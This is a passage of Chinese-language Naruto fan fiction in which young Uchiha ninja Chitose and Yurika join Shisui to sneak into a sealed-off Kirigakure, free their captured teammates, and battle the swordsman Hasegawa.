“从那以后……我就再也没有哭过了。”
林间的夜风带着水汽微凉,由里香垂着眼,把那段藏在写轮眼与冷静外表下的过往,轻轻说完。
她没有立刻看向千歲,只是安静地等肩头的消毒处理结束,才缓缓侧过脸,望着少女还沾着泪痕、微微泛红的眼眶。
“你看,我也曾经和你一样。”
由里香的声音很轻,没有说教,没有安慰,只是像在分享一个藏了很久的秘密,
“害怕、软弱、站在原地动弹不得,只会哭,觉得自己什么都做不好,只会拖累身边最在意的人。”
她顿了顿,指尖轻轻碰了碰千歲还在发颤的手背。
“父亲死的那一刻,我也觉得,是我害死了他。
是我任性,是我不听话,是我拖了他的后腿——和你现在想的,一模一样。”
千歲眼泪又要涌上来,却被她死死憋在眼眶里。
“可是千歲,忍者的成长,从来不是从不跌倒,而是跌倒之后,不再只知道哭。”
由里香的写轮眼微微发亮,带着一种经历过生死才有的坚定,
“玄间老师保护你,不是为了让你自责,不是为了让你怪自己没用,而是相信你,总有一天能独当一面。”
“你没有拖后腿。
你在最害怕的时候,还是冲出去了;而现在,还在拼尽全力救我。”
“这就够了。”
由里香轻轻抬手,用指尖擦去千歲脸颊的一滴泪,动作温柔得不像平时的她。
“自责没有用,哭也解决不了任何事。
但不再哭,不是不准难过,而是把难过,变成活下去、变强的理由。”
千歲怔怔地望着她,泪水悬在眼眶,却迟迟没有落下。
她想起玄间老师倒在身前的模样,想起他说“你是我的学生”,想起由里香坠崖时不肯放开的手,想起自己发誓要变强、要和同伴并肩作战的初心。
她不要再躲在别人身后。
不要再因为害怕而动弹不得。
不要再让重要的人,为她流血牺牲。
她用力、用力地擦掉脸上所有的眼泪,原本慌乱无助的眼神,一点点沉淀下来。
“……嗯。”
她轻轻点头,声音还有些哑,却一字一句,清晰无比。
“我不哭了。
从今天起,我再也不会哭了。”
37.第37章 被飞扑的止水
火影办公室
原木长桌堆满了摞至半高的文件与卷轴。
“咚、咚。”
急促而轻稳的敲门声骤然打破寂静。
“进来。”
暗部成员身披漆黑披风、面具遮脸,单膝跪地,声音压得极低,却带着难以掩饰的急促:
“火影大人,木叶与雾隐的全部通信,在今日上午彻底中断,所有派往水之国境内执行任务的小队,几乎全部失联。”
猿飞日斩翻阅文件的手指猛地一顿。原本松弛的眉眼瞬间绷紧,苍老却锐利的目光直射暗部,语气沉了下来:
“全部中断?”
一个可怕的念头瞬间闪过脑海——政变。
可下一瞬,他便自行否定了。
水之国如今执政的是四代水影·枸橘矢仓,完美人柱力,实力强横,地位稳固,根本不可能被轻易政变夺权。
不是政变……那便是水之国境内,发生了某种足以瞬间切断一切外交、封锁全境的不可抗力。
是战乱?是暴动?还是……更可怕的事情?
猿飞日斩指尖微微收紧,声音压得更低:“失联的小队,都有哪些?”
暗部低头,语气凝重地一一禀报:
“暗部第八班、火影直属护卫第二班、宇智波止水小队,以及……不知火玄间带领的下忍小队。”
“……第三班?”
猿飞日斩瞳孔微缩,心头猛地一沉。
那是一群还未经历过真正生死的孩子。
他深吸一口气,强行压下心头的不安,迅速下达指令,声音沉稳而不容置疑:
“立刻通知暗号部,全力联络水之国大名,有任何消息,第一时间向我汇报。此事关系两大国的外交立场,在彻底弄清雾隐态度之前,严禁任何人擅自出阵、挑起冲突。”
“是!”暗部顿了顿,声音依旧带着犹豫,“可是……失联的那些小队……”
办公室内陷入短暂的沉默。
猿飞日斩缓缓拿起桌上的烟斗,指尖微微用力。他闭上眼,长长叹了一口气,再睁眼时,眼底已满是决断与沉重。
“把暗部特别机动小队的预备名单拿过来。”
他声音低沉,“让他们全员待命,随时准备,执行跨境搜救任务。”
水之国某境内
一夜的伤痛过后,天边终于泛起了鱼肚白。
两人勉强休整完毕,拖着酸痛沉重的身体,顺着蜿蜒的小溪向前摸索前行。不知走了多久,千歲的视线突然一亮,指着前方隐约露出的屋舍轮廓,压抑不住心底的激动:“太好了……是村落!”
可身旁的由里香非但没有放松,反而眉头锁得更紧,眼神警惕地扫过四周弥漫的薄雾,声音冷静得近乎冰冷:“别高兴太早。现在雾隐全境封锁、排斥外忍,这里的村民未必会接纳我们。”
她顿了顿,目光落在两人身上依旧显眼的木叶忍者服,语气凝重:“更何况,我们这身装束太扎眼了。背后的宇智波团扇族徽,只要一露面,就等于自报身份。”
千歲心头一紧,下意识摸了摸背后的族徽:“那……只能用变身术暂时掩饰了?”
“不行。”由里香立刻否决,“变身术会持续消耗查克拉,我们现在伤势未愈,查克拉所剩无几,不是长久之计。”
说话间,两人已经走到了村落入口。
可眼前的景象,却让她们同时僵住了脚步。
空无一人。
整条街道安静得诡异,屋舍整齐,门窗紧闭,既没有人影,也没有炊烟,更没有丝毫打斗破坏的痕迹。安静到,只剩下风吹过巷口的轻响。
千歲心底的喜悦瞬间冷却,她不安地走到一间紧闭的服装店门口,指着窗内挂着的平民衣物,看向由里香。
由里香立刻明白了她的用意,轻轻点了点头。
没花多久,两人便悄悄换上了一身方便行动的朴素男装,将原本的忍者服仔细藏好,遮住了所有能暴露身份的痕迹。拿起头巾,把自己的头发和脸包的严严实实的,只露出一双眼睛。换上男装的两人少了几分少女的柔和,多了几分少年般的利落,可依旧掩盖不住脸上的疲惫与伤口。
千歲环顾着这座死寂的村落,忍不住低声发问:“这里为什么一个人都没有……又完全没有被破坏、打斗过的痕迹……”
由里香的指尖轻轻抚过腰间藏好的苦无,眼神沉了下来,一字一句地说出了最残酷的答案:
“说明……这里的村民,是遇到了不得不主动逃走的大事,才会连夜弃村离开。”
两人沿着小溪继续向上游走,不多时,一块被风雨侵蚀的木牌出现在眼前,上面刻着三个字:雪野村。
由里香立刻想起了忍校课本上的记载——这里是水之国少数拥有冰遁血继限界的村落,村民大多擅长冰遁,世代隐居于此。可如今,别说擅长血继的忍者,就连一个普通村民的踪迹都寻觅不见,死寂得令人发毛。
“这里是雪野村。”由里香压低声音,眼神凝重,“我们已经离雾隐村非常近了,顺着这条溪继续往上,尽头就是雾隐的外围地界。”
千歲的心一下子提了起来,不安地攥紧拳头:“那……我们现在该怎么办?”
由里香沉默片刻,迅速在脑中梳理出两条路线,语气冷静而清晰:“目前只有两个选择。第一,放弃本次任务,立刻折返木叶寻求支援。雾隐村里一定能找到返回木叶的完整地图,我们先隐藏身份潜入雾隐,恢复体力、确认路线后再回国,这是最稳妥、最安全的办法。”
“那玄间老师和浅野呢?”千歲立刻打断,眼神里满是急切,“我们就这么回去,不管他们了吗?”
“这就是我要说的第二种可能。”由里香顿了顿,语气沉了几分,“但这一切,都建立在他们还活着的前提下。”
千歲屏住了呼吸。
“如果他们没死,只有两种情况:要么,他们战胜了
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长谷川,已经沿原路返回木叶;要么,长谷川没有下死手,把他们抓回了雾隐村——最坏的结果,就是沦为战俘。”
“所以,我们如果要找他们,就必须进入雾隐。”千歲立刻接话,眼神坚定,“摸清里面的情况,甚至……进行卧底探查。”
由里香有些意外地看了她一眼,随即点了点头。
短短时间内,由里香便将所有风险与路线规划完毕,果断得不像一个重伤的少女。
千歲望着她此刻冷静果断的模样,心底不由得生出一阵真切的佩服——明明年纪相仿,由里香却总能在最混乱的绝境里,保持清醒、做出决断。
“不管选哪条路,我们都必须先往雾隐走。”由里香最终下定结论。
千歲深深吸了一口气,抹去所有不安,用力点头:
“嗯,就这么做。”
徒步近一个小时,林间湿气愈发浓重,远处的景象终于豁然开朗——雾隐村赫然出现在眼前。
整座忍村盘踞在孤岛之上,外围环绕着宽达十米的护城河,河水浑浊湍急,内侧矗立着厚重高耸的青石高墙,墙头上暗部巡逻的身影若隐若现,戒备森严到令人窒息。想要强行突破,简直是天方夜谭。
千歲与由里香压低身形,躲在岸边茂密的灌木丛后,屏住呼吸观察着防线。
忽然,观察力敏锐的由里香眼神一紧,视线落在地面几近熄灭的炭灰上——那是露营篝火残留的痕迹,温度未散,显然熄灭不久。
“有人来过,而且就在附近。”由里香声音压得极低,脸色瞬间凝重,“千歲,快离开这里——”
话音未落,一道纤细的身影突袭而至,凌厉的飞踢直逼由里香后脑,攻势快准狠。
由里香反应极快,猛地俯身险险避开,发丝被劲风扫得凌乱。千歲脸色一变,想也不想反手抽出苦无,就要上前近身支援。可就在此刻,另一道少年身影瞬身术骤现,快得只剩残影。
对方一脚精准踢飞千歲手中的苦无,去势不减,拳头径直朝她面门砸来。由里香眼疾手快,跨步上前,拳头硬碰硬迎上,硬生生将对方攻势压制!
千歲见状毫不示弱,抓住少年被牵制的刹那空隙,整个人飞扑而上,狠狠将他扑倒在地。
少年闷哼一声,头上裹着的遮光头巾应声滑落。
千歲正坐在他身上,正要出拳,低头定睛一看,瞳孔骤然一缩,失声惊呼:
“止水!?”
止水被扑得一愣,眼底闪过片刻疑惑。
千歲情绪激动,一把扯下自己头上的伪装头巾。
下一秒,灌木丛两侧同时安静下来。
由里香缓缓摘掉头巾,千歲也露出了原本的面容;
而对面,刚刚突袭的漩涡咲与宇智波止水,也一并取下了伪装。
四人八目相对,惊愕与意外在空气中凝固。
谁也没有想到,在这戒备森严的雾隐村外,绝境之中,竟会遇上彼此。
38.第38章 宇智波智囊团
看清骑在自己身上的人竟是千歲,止水整个人猛地一怔,错愕瞬间爬满脸庞。
下一秒,他才后知后觉地意识到——两人的距离近得过分了!
千歲完全没起身的意思,只顾着震惊地盯着他,眼底全是意外。止水僵在原地,连指尖都不敢轻动,刚才差点对她出手的后怕还没散去,此刻却被这窘迫至极的姿势搅得大脑一片空白。
他的身体骤然绷紧,心跳不受控制地狂飙,比刚才战斗时还要急促,耳根不受控制地泛起一层薄红。
“千歲……抱歉,刚才……对你那样……”
他声音发紧,连话都说得颠三倒四,眼神慌乱地避开,不敢与她直视。
“喂!发什么呆呢!”
由里香看不下去,快步上前一把将千歲从止水身上拉起来,顺手拍了拍她身上的尘土,转头对着止水翻了个大大的白眼,语气满是无语:
“我说你们也太狠了吧?一上来就下死手,我们差点就交代在这了。”
一旁的漩涡咲连忙上前,满脸歉意地鞠躬:“对不起,刚才误以为你们是雾隐的追兵,是我们太谨慎了……真的很抱歉。”
止水这才勉强镇定下来,整理了一下微乱的衣装,认真开口:“别怪小咲,是我的判断。”
由里香心想:止水,说这话。我真是看你脑袋不太灵光了。服了,出个任务就算了,怎么还要被迫围观这种修罗场……
她扶了扶额,只觉得肩膀的伤口,好像更疼了。
众人暂时撤回到灌木丛深处隐蔽,确认四周没有雾隐巡逻忍者后,才压低声音交换起各自的遭遇。
止水先开口,语气带着几分凝重:“我和小咲原本是护送前往水之国贸易的木叶商人,没想到途中突发变故。返程时遭到不明人士袭击,对方身手狠辣,却不是雾隐正规暗部。”
他顿了顿,眉头微蹙:“如果是暗部,绝不会明目张胆对木叶忍者下手,那会直接升级成外交冲突。可对方行事隐秘,招招致命,显然是不想留下痕迹。混乱中我和小咲勉强突围,但小队里的海斗,被他们抓走了。”
“我们判断,他大概率被押进了雾隐村内,所以打算伺机潜入救人。”
一旁的漩涡咲轻轻点头,补充道:“对方的查克拉很阴冷,和刚才在边境感受到的杀气很像。”
由里香听罢,也将第三班遭遇长谷川、玄间重伤、浅野下落不明、两人坠河漂流至此的经历,简洁明了地说了一遍。
眼下情况瞬间清晰——
止水与漩涡咲要潜入雾隐,营救队友海斗;
千歲与由里香也要进入雾隐,寻找玄间老师和浅野光。
目标一致,路线相同。
四人暂时安静下来,屏息藏在树丛中,等待墙头上巡逻暗部换班的空隙,寻找最佳潜入时机。
沉默间,千歲忽然轻轻开口,声音带着一丝细微的不安:
“我都在外面一天一夜了,还没回家……不知道老爸现在会不会担心死。”
她一想到宇智波枭在家中等不到她回去、又联系不上的模样,鼻尖就微微发酸。
止水立刻侧过头,声音放得格外温和,带着独有的安定力量:
“别担心。”
他轻轻看着她,眼神认真而笃定:
“村子一旦发现任务小队失联,一定会启动应急方案,很快就会有增援赶来。”
“真的吗?”千歲抬起头,眼里重新燃起一点微光。
止水轻轻点头,语气坚定得让人无法怀疑:
“嗯。相信木叶,一定会来的。”
止水的话,永远都是那么让人安心。
千歲悬着的心,也慢慢放下。
两小时后
四人借着浓密枝叶的遮挡,将雾隐村外围的防御布局看得一清二楚。十米宽的护城河水流湍急,高墙之上每隔三步便有一名雾隐巡逻忍者,明暗哨交错排布,连一只飞鸟都难以悄无声息地靠近。
没有人贸然行动,空气中只有压抑的呼吸声与远处巡逻兵的脚步声。
止水率先开口,声音压得极低,指尖在地面轻轻勾勒出雾隐外围的简易地形:“硬闯绝对不行,雾隐现在处于封锁状态,一旦动手,瞬间就会被包围。我们必须无声潜入。”
由里香立刻点头附和,写轮眼冷静地扫视着高墙顶端的换班节奏:“我观察了三轮巡逻,每三十分钟会有七秒的视觉盲区——西侧哨塔的影子会挡住中间段的监控,那是唯一的突破口。”
止水眼中闪过一丝赞许,接着补充:“护城河的问题怎么解决?游泳过去一定会发出水声,还会被水面哨卡发现。”
由里香指尖轻点地面,画出溪流走向:“雪野村的小溪最终汇入这条护城河,上游水流平缓,且有一段水下暗渠。我和千歲顺着溪水漂下来时发现,暗渠直通雾隐村内的下水口,虽然狭窄,但足够我们匍匐通过。”
止水眼神一亮,瞬间理清整条路线:“好,那就分两步走。第一步,小咲用漩涡一族的感知忍术,提前锁定所有暗部的查克拉位置,给我们报点;第二步,我们四人依次从水下暗渠进入,全程屏住呼吸,不发出任何动静;第三步,进入村内后立刻分散,十分钟后在预定的废弃民宅集合,避免集体行动被盯上。”
“那如果中途被发现?”漩涡咲轻声提问。
“我来断后。”止水语气平静却带着绝对的底气,“我会用幻术解决落单的哨兵,绝对不会暴露你们。”
由里香补充最后一点:“所有人保持变身状态,一旦进入村内,立刻换上之前准备好的平民衣物,绝对不能暴露忍者身份。”
不过短短几分钟,一套缜密、安全、风险最低的潜入方案便彻底成型。从巡逻盲区、水下通道、感知掩护、幻术断后到集合地点、应急方案,每一环都衔接得天衣无缝,连最细微的破绽都被提前堵死。
千歲蹲在一旁,安安静静地听着宇智波的两人你一言我一语地制定计划,眼底渐渐泛起由衷的惊叹。
止水和由里香能在如此短的时间内,冷静观察、精准分析、快速制定出滴水不漏的方案。她看着止水沉稳笃定的眼神,看着由里香清晰利落的判断:
好厉害……他们真的好聪明。
原本还有些不安的心,在这一刻彻底安定下来。
只要跟着他们,一定可以顺利潜入,一定可以找到玄间老师和浅野。
“方案就是这样,没有问题的话,我们准备出发。”止水收起指尖的痕迹,抬眼看向三人,目光最后轻轻落在千歲身上,语气放柔,
“跟着我,别害怕。”
千歲用力点头,眼神明亮而坚定:“嗯!”
方案敲定的瞬间,四人立刻进入状态,连呼吸都放得极轻,仿佛与周遭的灌木丛融为一体。
止水先做最后的确认,目光扫过每个人:“小咲,感知全开;由里香,你带路走暗渠;千歲,跟在我身后,全程不要发出任何声音,跟着我的脚步动。”
“明白。”三人同时用气声回应。
最先行动的是漩涡咲。
她微微闭上双眼,漩涡一族独有的感知查克拉如水波般悄然扩散,覆盖整片护城河与高墙防线。几秒后,她轻轻抬手,三根手指依次点动,用手势
无声汇报:
左三、右二、墙头五、暗哨一……
所有巡逻忍者的位置、移动节奏,被她精准得如同地图般呈现在众人脑中。
止水微微颔首,给了
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由里香一个准备的信号。
由里香盯着墙头的沙漏般的计时影子,默数节奏——
三、二、一……
就是现在!
西侧哨塔的阴影恰好覆盖住高墙中段,七秒视觉盲区,准时到来。
“走。”
止水唇齿轻动,只吐出一个字。
由里香率先低身窜出,动作轻盈得像一只猫,贴着草丛边缘疾速滑行,直奔上游溪口。千歲紧随其后,心脏怦怦直跳,却牢牢记住叮嘱,一言不发,只盯着止水的背影跟进。漩涡咲断后,依旧维持着感知状态,随时用手势提醒偏差。
四人悄无声息地摸到暗渠入口。
这里被杂草与乱石掩盖,不仔细看根本无法发现。暗渠狭窄,仅容一人匍匐前进,内壁湿滑,水声微弱,正好掩盖细微动静。
“我先探路,确认内部没有守卫。”由里香比出哑语,第一个弯腰钻了进去。
写轮眼在黑暗中微微发亮,将渠内环境看得一清二楚。她前进三米,确认安全后,轻轻敲击了两下管壁——安全信号。
漩涡咲第二个进入,始终保持感知,确保沿途没有任何陌生查克拉靠近。
千歲第三个钻进暗渠,空间狭小得让她有些压抑,可一想到玄间老师和浅野,她便咬紧牙关,一点点向前挪动。
止水最后进入,顺手将入口的杂草恢复原状,彻底抹去痕迹。
暗渠内一片漆黑,只有水流轻轻淌动的声音。
四人全程屏息,连呼吸都用最浅的节奏,衣料摩擦管壁的细微声响被水流彻底掩盖。由里香在前方引路,精准避开弯道与积水坑;漩涡咲在中间随时感知外围,一旦有巡逻忍者靠近,便立刻停下,全员静止。
短短二十米的暗渠,像是走了一个世纪。
直到由里香再次轻敲管壁——前方出口,到达雾隐村内。
出口连接着一处废弃的排水沟,盖着破旧木板,缝隙外能看到昏暗的巷弄,空无一人。
由里香轻轻推开一条缝,写轮眼扫过四周:无人、无查克拉反应、安全。
她率先钻出,迅速观察左右巷道。
漩涡咲紧随其后,落地的瞬间依旧维持感知。
千歲钻出时脚步微晃,止水立刻伸手轻扶了她一把,动作轻得没有一丝声响。
四人全部落地后,止水反手将木板盖回原位,不留半点痕迹。
此刻,他们终于真正踏入了雾隐村内部。
空气中弥漫着挥之不去的潮湿与阴冷,街道安静得可怕,几乎看不到行人,偶尔走过的村民也面色凝重,步履匆匆,整座村子都被一种压抑的氛围笼罩。
没有多余交流,四人按照原定计划,迅速分散。
千歲跟着止水拐进左侧小巷,由里香与咲走右侧巷道,各自保持十米距离,十分钟后,在村中心废弃民宅集合。
每一步都走在阴影里,每一次转弯都先确认安全。
变身术维持着少年模样,平民装束完美掩盖了忍者气息,再加上咲全程的感知预警,一路竟没有引起任何注意。
十分钟一到,四人几乎同时抵达废弃民宅门口,彼此对视一眼,无声确认:
潜入成功。
止水轻轻推开门,率先进入,确认屋内安全后,才让其他人进来。
关上房门的那一刻,紧绷到极致的神经,才终于稍稍放松一丝。
千歲靠在墙壁上,轻轻喘了口气,看向止水和由里香的眼神里,再次充满了佩服——
这套计划,真的一步不差地完美实现了。
止水轻轻点头,声音依旧压得极低:
“第一阶段完成。接下来,我们开始打听玄间老师、浅野,还有海斗的下落。”
39.第39章 虎皮面具男?
废弃民宅内的光线昏暗得几乎看不清彼此神情,只有窗外透进的微弱月光,在地面投下细碎的影子。
止水与由里香分工明确,一人借着幻术伪装外出打探,一人留守屋内警惕四周,漩涡咲则始终闭着眼,漩涡一族的感知查克拉如细密的网,悄悄笼罩着整条街巷。
没过太久,外出探查的止水率先归来,推开门的瞬间,他眼底便带着一丝凝重,却又藏着让人安心的笃定。
千歲几乎是立刻站起身:“止水……有没有查到玄间老师和浅野?”
止水快步走到她面前,蹲下身稳住她的情绪,语气放得极轻:“找到了,他们还活着。”
“他们在哪里?”
“雾隐地下审讯室。”由里香压低声音凑过来,“我刚才绕到后巷打听,守卫说里面关着三名外村忍者——一名重伤上忍、一名少年下忍,还有一名近期被俘的木叶忍者,完全对应玄间老师、浅野,以及海斗。”
“他们暂时没有生命危险。”止水补充道,“雾隐现在全面封锁国境,却没有公开处决俘虏,说明他们还在观望木叶的态度,不敢轻易撕破脸皮。这是我们最好的营救时机。”
四人没有耽搁,借着夜色与街巷阴影快速潜行。整座雾隐村安静得诡异,行人稀少,家家户户门窗紧闭,空气中漂浮着难以言说的压抑,仿佛连风都不敢大声流动。
很快,地下审讯室阴冷的入口出现在眼前。
两名雾隐忍者手持长刀守在门口,查克拉沉稳,显然是经验丰富的看守。
止水对众人比出噤声手势,指尖微微凝聚查克拉,正准备无声释放幻术控制守卫,守卫随即倒下。
可一股冰冷得近乎刺骨的查克拉,毫无预兆地从巷子尽头蔓延而来。
那股气息不带着杀气,却让人从骨髓里感到寒意,像是被某种不可抗拒的黑暗彻底笼罩。
众人猛地抬头。
一道高大的身影静静站在月光照不到的暗处,脸上戴着浅黄底色、布满黑色虎皮纹路的面具,只露出一只漆黑漠然的眼。
他没有任何动作,就那样安静地站着,却让在场所有人都动弹不得,连查克拉都像是被冻结一般。
千歲的瞳孔剧烈收缩。
这个人……她从未见过,可那股压迫感,却比悬崖边的长谷川还要可怕。
她不知道他是谁,只知道——对方只要动一根手指,他们所有人都可能死在这里。
面具男目光缓缓落在最前面的千歲身上。
那只藏在面具后的眼睛微微转动,平静得没有任何情绪,看不出杀意,也看不出好奇,就像在打量一件无关紧要的物品。
止水瞬间将千歲死死护在身后,写轮眼全开,语气紧绷:“你是谁?”
由里香也立刻上前半步,与止水并肩而立,随时准备发动火遁。
一秒、两秒、三秒……
漫长的沉默过后,面具男依旧没有动手,甚至没有释放任何攻击。
他只是静静地看着千歲,那只漆黑的眼瞳深处,似乎掠过一丝极淡、极难捕捉的波动,快得让人以为是错觉。
没有人知道他在想什么。
更没有人知道,他与宇智波一族,有着无人知晓的羁绊。
“可笑。”
许久,他才缓缓吐出一个字,声音沙哑低沉,不带任何感情。
话音落下的瞬间,他周身的查克拉微微一收,身体扭曲,身影如同融入黑暗一般,凭空消失在巷子深处,没有留下半点痕迹。
直到那股恐怖的压迫感彻底消失,千歲才长长吐出一口气。
止水立刻回身扶住她,声音带着后怕:“你没事吧?”
“我没事。”千歲摇头,脸色依旧苍白,却异常坚定,“趁现在,快救人。”
不再有任何犹豫,止水瞬身而至。
由里香快速解开审讯室的锁,沉重的铁门被推开的刹那——
靠着墙壁、后背伤口渗血的不知火玄间,腿上带伤、脸色虚弱的浅野光,以及疲惫不堪的海斗,同时抬起头。
“玄间老师!”
“千歲?由里香?”
“止水!咲!”
四目相对,惊喜与酸涩瞬间涌上心头。没有人欢呼,只有压抑不住的激动。
由里香立刻上前,拿出随身携带的简易医疗包,快速为玄间处理伤口,玄间虽然虚弱,眼神却依旧清明:“你们怎么会潜入这里?太危险了。”
“我们来救老师出去。”千歲低声说,眼眶微微发红。
玄间还想说什么,外面突然传来一阵急促的脚步声与呵斥声!
“刚才有异常查克拉!快去地下审讯室!”
“可能有入侵者!”
警报,在这一刻被拉响。
大批雾隐忍者正朝着这边快速逼近,查克拉密密麻麻,数量多得让人绝望。
玄间脸色一沉,不顾伤痛强行站直身体,瞬间做出决断:
“兵分两路!”
他指向东侧通道:“海斗、浅野、咲,你们跟我从东边水路突围。”
说完,他看向止水,语气沉重却不容置疑:“止水,你带着千歲和由里香,从西侧旧密道走。”
“我们一定会活着回木叶。”玄间看着她,露出了一个平日里少见的、温和却坚定的笑容,“相信我,也相信你们自己。我们木叶见。”
没有时间再犹豫。
追兵的脚步声已经近在咫尺。
玄间不再多言,一挥手,带着海斗、浅野与漩涡咲,毫不犹豫地冲向东侧通道。
原地只剩下止水、千歲和由里香三人。
止水深吸一口气,压下心头的不安,伸手轻轻握住千歲的手腕,语气坚定而温柔:
“我们也走。
活下去,和大家汇合。”
穿过密道最后一段低矮的石阶。
千歲、止水、由里香三人终于踏出雾隐村的高墙范围,脚下是荒草蔓延的郊野,远处是沉沉的树林——他们暂时逃出来了。
千歲扶着岩壁微微喘息,紧绷了一夜的神经终于松懈半分,苍白的脸颊透出一点劫后余生的微红。由里香的写轮眼缓缓闭合,肩膀的伤口因剧烈动作再次渗血,却依旧强撑着保持警惕。止水走在最后,确认身后没有追兵跟上,才稍稍松口气,转身看向两人。
“暂时安全了。”止水低声道,声音里带着一丝疲惫,“只要进入前面的树林,我们就能……”
话音未落。
轰——!!
一股狂暴而阴冷的查克拉,猛地从前方树林边缘碾压而来!
尘土与草屑轰然炸开,一道魁梧狰狞的身影扛着那柄标志性的大刀,缓步从阴影中踏出。
刀身还沾着未干的暗红血迹,眼神残忍而兴奋,死死锁定了刚逃出村的三人。
是长谷川。
他竟然在这里守株待兔。
“终于舍得出来了啊,小鬼们。”
长谷川咧嘴一笑,声音粗哑刺耳,“我就知道,你们一定会从这条路跑。”
由里香瞬间重新睁开写轮眼:“是埋伏!他早就等在这了!”
千歲的心脏猛地一缩。
悬崖边那血腥的一幕再次闪过脑海——玄间老师喷溅的鲜血、自己无力的颤抖、同伴坠落的恐惧……
那深入骨髓的恐惧,几乎要再次攫住她的四肢。
可是这一次。
她没有僵住。
千歲缓缓抬起头,眼底的慌乱一点点褪去,取而代之的是一片冷静的猩红。
一勾玉写轮眼在夜色中微微发亮,没有逃避,没有退缩,直直迎上长谷川的目光。
我不会再害怕了。
我不会再躲在任何人身后。
“千
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歲,由里香,联手。”止水低声下令,语速快而清晰,“他的大刀范围广、力量大,不能硬接,只能牵制、找破绽、合击。
我负责速度与幻术干扰,寻找他持刀的空隙。三人配合,不要单独行动。”止水下令
没有多余的犹豫。
长谷川已经不耐烦,猛地踏地冲锋,斩首大刀高高举起,刀风撕裂空气:
“全都给我死在这里——!!”
横扫千军。
“散开!”
止水低喝一声,三人同时向三个方向跃出。
大刀劈在地面,轰地砸出一道深痕,碎石飞溅。
“火遁·豪火球之术!”
由里香立刻抓住空隙,双手结印,烈焰轰然喷出,直扑长谷川面门。
就是现在!
止水脚步一踏,瞬身术发动,身影直接消失在雾气中。
千歲手持苦无,给长谷川制造视线干扰,为止水的攻击作掩护之势。
下一秒,止水出现在长谷川左侧,指尖苦无直刺对方持刀手腕的关节
“小鬼!”
长谷川吃了一惊,急忙回刀格挡。
“铛!”金属碰撞声刺耳。
他力量惊人,止水被震得后退两步,却丝毫不乱,立刻再次发动幻术干扰。
长谷川眼神恍惚一瞬,瞬间惊醒,暴怒挥刀乱斩。
雾气渐渐散去。
长谷川的注意力完全被止水牵制,大刀追着止水狂劈,刀刀致命,却始终被止水灵活的速度躲开。
他的动作越来越大,破绽也越来越明显。
由里香立刻抓住时机,写轮眼死死锁定他的站姿:“千歲!就是现在!”
千歲没有丝毫迟疑。
她不再是那个只会发抖的小女孩。
她看着长谷川露出的破绽,看着同伴在前方拼命掩护,心中只有一个念头——
我可以战斗。
全身查克拉疯狂涌向右手,血脉中的爆发式怪力彻底苏醒。
她压低身形,借着写轮眼的洞察,笔直冲向长谷川毫无防备的左腿侧方。
“小鬼!你敢!”长谷川惊怒。
可已经晚了。
千歲的拳头,带着破风之声,狠狠砸在他的膝盖侧面!
“砰——!!”
骨骼受力的闷响清晰传出。
长谷川惨叫一声,左腿一软,单膝跪倒在地,持刀的动作瞬间失衡。
“成功了!”由里香心头一震。
止水抓住这致命一瞬,瞬身至长谷川身后,苦无精准抵住他的后颈,同时幻术全力发动:“别动!”
斩首大刀“哐当”落地。
长谷川被幻术与疼痛双重压制,动弹不得,满脸狰狞与不甘,却再也无法反抗。
本以为一切都结束了。
被苦无抵住后颈的长谷川,却突然发出一阵嘶哑而疯狂的狞笑。
他没有挣扎,反而猛地仰头,全身肌肉骤然鼓胀,青筋暴起,原本就魁梧的身躯硬生生膨胀了一圈!
“你们以为……这样就结束了?!”
轰——!!
一股漆黑如墨、带着腐蚀气息的狂暴查克拉,猛地从他体内炸开!
气流席卷四周,荒草瞬间枯萎,地面裂开细密的纹路。长谷川猛地挣脱止水的控制,周身缠绕着翻滚的黑雾,双目赤红,气息比之前强横了数倍不止。
这是他压箱底的身体强化禁术,以燃烧生命力为代价,换取短暂的极致力量。
“糟了!”由里香脸色剧变。
止水心头一沉,立刻拉着千歲后退:“小心,他现在已经不是普通上忍级别!”
长谷川缓缓抬手,一把抓起地上的斩首大刀,刀身被黑雾缠绕,挥出的风都带着撕裂感。
“刚才玩够了……现在,该送你们下地狱了!”
40.第40章 觉醒吧 万花筒
“刚才玩够了……现在,该送你们下地狱了!”
一刀横扫。
没有花哨忍术,纯粹是碾压般的力量。
止水瞬身躲闪,却还是被刀风擦中肩膀,瞬间皮开肉绽;
由里香火遁全力轰出,却被黑查克拉直接吞噬,连一点火花都没剩下;
千歲的怪力再次砸出,这一次竟被长谷川单手接住,一股巨力反震而来,她整个人被弹飞出去,重重摔在地上。
長谷川的身体不断吸收由里香释放出来的火遁查克拉,皮肤变得越来越黑,力量也越发增强。止水的瞬身术就算再快,自己的短刀砍入长谷川的身体,不过数秒,便马上愈合。
“不死之身??”由里香惊叹。
千歲早已经提炼查克拉到了极限,她不清楚自己到底挥了多少拳。只知道,每打中一次,长谷川的身体就像海绵似的,立刻恢复。
“就算我死,也要把你们带走!”长谷川咆哮者。
战局瞬间反转。
之前的默契配合、战术牵制,在绝对的力量面前,彻底失效。
三人狼狈地退到一起,伤口不断渗血,查克拉消耗殆尽,呼吸急促。
前方是黑雾缭绕、如同恶鬼般的长谷川,后方是雾隐高墙,退无可退,胜无可望。
绝望,像冰冷的潮水,将三人彻底淹没。
由里香的写轮眼微微颤抖,声音发哑:“不行……太强了,我们根本打不动他……”
止水挡在两人身前,肩膀流血,眼神却依旧倔强,可心底也清楚——再打下去,只会全员战死。
绝望缠上止水的内心,他从未被逼到如此绝境。此时,他只希望眼前的两人能够活下去,这是他作为前辈的职责,也是他作为宇智波的责任。
止水几乎是咬牙切齿的说出这几个字:“不行…没有胜算了…你们两快走…我来拖住他。”
长谷川步步紧逼,黑色查克拉如黑雾翻涌,冰冷的杀意几乎要将空气冻结。
“快走——!”止水拼尽最后力气。
——
“我不要。”
千歲低着头,脸庞隐在阴影里,声音却异常清晰。
止水一怔。
“我认识的止水,绝对不会说出这样的话。”
她缓缓抬手,将一路小心收起的木叶护额取出,毫不犹豫地系在额头。银色的金属片在暗夜里一闪,忍者的意志,重新回到她身上。
“我认识的止水,从来不会轻易放弃。”
止水僵在原地,心脏猛地一缩。
长谷川不耐烦地低吼,斩首大刀高高举起,刀锋划破空气,只要这一击落下,三人都会瞬间被劈成两半。
千钧一发。
少女骤然上前,稳稳挡在止水身前。
浑身是伤,衣衫破碎,过度使用怪力的右手不住颤抖,可她的脚步没有半分退缩。小小的身躯站得笔直,直面那柄足以劈碎岩石的大刀、直面吞噬一切的黑查克拉、直面必死的绝境。她抬起头,一勾玉写轮眼燃得发亮。
就像曾经玄间护着她,纲手挡在她面前一样。
没有恐惧,没有泪水,只有偏执到燃尽一切的坚定。
